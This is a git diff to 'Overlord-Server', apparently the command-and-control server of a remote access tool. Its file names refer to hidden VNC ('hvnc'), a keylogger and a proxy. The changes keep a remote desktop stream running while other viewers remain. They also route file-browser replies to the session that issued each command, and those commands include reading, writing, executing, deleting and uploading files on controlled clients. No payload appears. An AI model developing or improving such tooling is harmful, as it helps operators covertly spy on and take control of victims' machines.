diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index e6f8e28..c68633f 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -315,17 +315,24 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket logger.debug(`[rd] ignoring duplicate desktop_start for client ${clientId}`); } break; - case "desktop_stop": - sendDesktopCommand(target, "desktop_stop", {}); - if (state.isStreaming) { - state.isStreaming = false; - rdStreamingState.set(clientId, state); - logger.debug(`[rd] stopped streaming for client ${clientId}`); + case "desktop_stop": { + const otherViewers = sessionManager.getRdSessionsForClient(clientId) + .filter(s => s.id !== ws.data.sessionId); + if (otherViewers.length === 0) { + sendDesktopCommand(target, "desktop_stop", {}); + if (state.isStreaming) { + state.isStreaming = false; + rdStreamingState.set(clientId, state); + logger.debug(`[rd] stopped streaming for client ${clientId}`); + } else { + rdStreamingState.set(clientId, { ...state, isStreaming: false }); + logger.debug(`[rd] stop requested while not streaming for client ${clientId}`); + } } else { - rdStreamingState.set(clientId, { ...state, isStreaming: false }); - logger.debug(`[rd] stop requested while not streaming for client ${clientId}`); + logger.debug(`[rd] ignoring desktop_stop for client ${clientId} - ${otherViewers.length} other viewer(s) still active`); } break; + } case "desktop_select_display": { const newDisplay = Number(payload.display) || 0; if (state.display !== newDisplay) { diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index 0f3cf28..38e0637 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -29,6 +29,13 @@ type WsViewerClusterDeps = { consumeHttpDownloadPayload: (payload: any) => Promise | void; }; +const fileBrowserCommandSessions = new Map(); + +function trackFileBrowserCommand(commandId: string, sessionId: string): void { + fileBrowserCommandSessions.set(commandId, sessionId); + setTimeout(() => fileBrowserCommandSessions.delete(commandId), 10 * 60 * 1000); +} + function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null { if (typeof raw === "string") { try { @@ -85,39 +92,41 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, if (typeof payload.commandType !== "string") return; logger.debug(`[DEBUG] Handling command type: ${payload.commandType}`); const actualPayload = payload.payload || {}; + const routedId = payload.id || commandId; + if (ws.data.sessionId) trackFileBrowserCommand(routedId, ws.data.sessionId); switch (payload.commandType) { case "file_read": logger.debug(`[DEBUG] Forwarding file_read to client ${clientId}:`, actualPayload.path); - target.ws.send(encodeMessage({ type: "command", commandType: "file_read", id: payload.id || commandId, payload: actualPayload } as any)); + target.ws.send(encodeMessage({ type: "command", commandType: "file_read", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_read"); break; case "file_write": - target.ws.send(encodeMessage({ type: "command", commandType: "file_write", id: payload.id || commandId, payload: actualPayload } as any)); + target.ws.send(encodeMessage({ type: "command", commandType: "file_write", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_write"); break; case "file_search": - target.ws.send(encodeMessage({ type: "command", commandType: "file_search", id: payload.id || commandId, payload: actualPayload } as any)); + target.ws.send(encodeMessage({ type: "command", commandType: "file_search", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_search"); break; case "file_copy": - target.ws.send(encodeMessage({ type: "command", commandType: "file_copy", id: payload.id || commandId, payload: actualPayload } as any)); + target.ws.send(encodeMessage({ type: "command", commandType: "file_copy", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_copy"); break; case "file_move": - target.ws.send(encodeMessage({ type: "command", commandType: "file_move", id: payload.id || commandId, payload: actualPayload } as any)); + target.ws.send(encodeMessage({ type: "command", commandType: "file_move", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_move"); break; case "file_chmod": - target.ws.send(encodeMessage({ type: "command", commandType: "file_chmod", id: payload.id || commandId, payload: actualPayload } as any)); + target.ws.send(encodeMessage({ type: "command", commandType: "file_chmod", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_chmod"); break; case "file_execute": logger.debug(`[DEBUG] Forwarding file_execute to client ${clientId}:`, actualPayload.path); - target.ws.send(encodeMessage({ type: "command", commandType: "file_execute", id: payload.id || commandId, payload: actualPayload } as any)); + target.ws.send(encodeMessage({ type: "command", commandType: "file_execute", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_execute"); break; case "file_upload_http": - target.ws.send(encodeMessage({ type: "command", commandType: "file_upload_http", id: payload.id || commandId, payload: actualPayload } as any)); + target.ws.send(encodeMessage({ type: "command", commandType: "file_upload_http", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_upload"); logAudit({ timestamp: Date.now(), @@ -137,6 +146,7 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, switch (payload.type) { case "file_list": + if (ws.data.sessionId) trackFileBrowserCommand(commandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_list", id: commandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_list"); logAudit({ @@ -150,6 +160,7 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, }); break; case "file_download": + if (ws.data.sessionId) trackFileBrowserCommand(commandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_download", id: commandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_download"); logAudit({ @@ -177,6 +188,7 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, } case "file_delete": { const deleteCommandId = payload.commandId || commandId; + if (ws.data.sessionId) trackFileBrowserCommand(deleteCommandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_delete", id: deleteCommandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_delete"); logAudit({ @@ -192,6 +204,7 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, } case "file_mkdir": { const mkdirCommandId = payload.commandId || commandId; + if (ws.data.sessionId) trackFileBrowserCommand(mkdirCommandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_mkdir", id: mkdirCommandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_mkdir"); logAudit({ @@ -207,6 +220,7 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, } case "file_zip": { const zipCommandId = payload.commandId || commandId; + if (ws.data.sessionId) trackFileBrowserCommand(zipCommandId, ws.data.sessionId); target.ws.send(encodeMessage({ type: "command", commandType: "file_zip", id: zipCommandId, payload: { path: payload.path || "" } } as any)); metrics.recordCommand("file_zip"); logAudit({ @@ -239,6 +253,9 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W void deps.consumeHttpDownloadPayload(payload); } + const payloadCommandId = typeof payload?.commandId === "string" ? payload.commandId : undefined; + const ownerSessionId = payloadCommandId ? fileBrowserCommandSessions.get(payloadCommandId) : undefined; + let hasSession = false; for (const session of sessionManager.getFileBrowserSessionsByClient(clientId)) { if (!hasSession) { @@ -250,6 +267,9 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W if (isHttpDownload) { continue; } + if (ownerSessionId && session.id !== ownerSessionId) { + continue; + } if (payload.type === "file_download" && payload.data) { const data = payload.data instanceof Uint8Array ? payload.data : new Uint8Array(payload.data); safeSendViewer(session.viewer, { ...payload, data });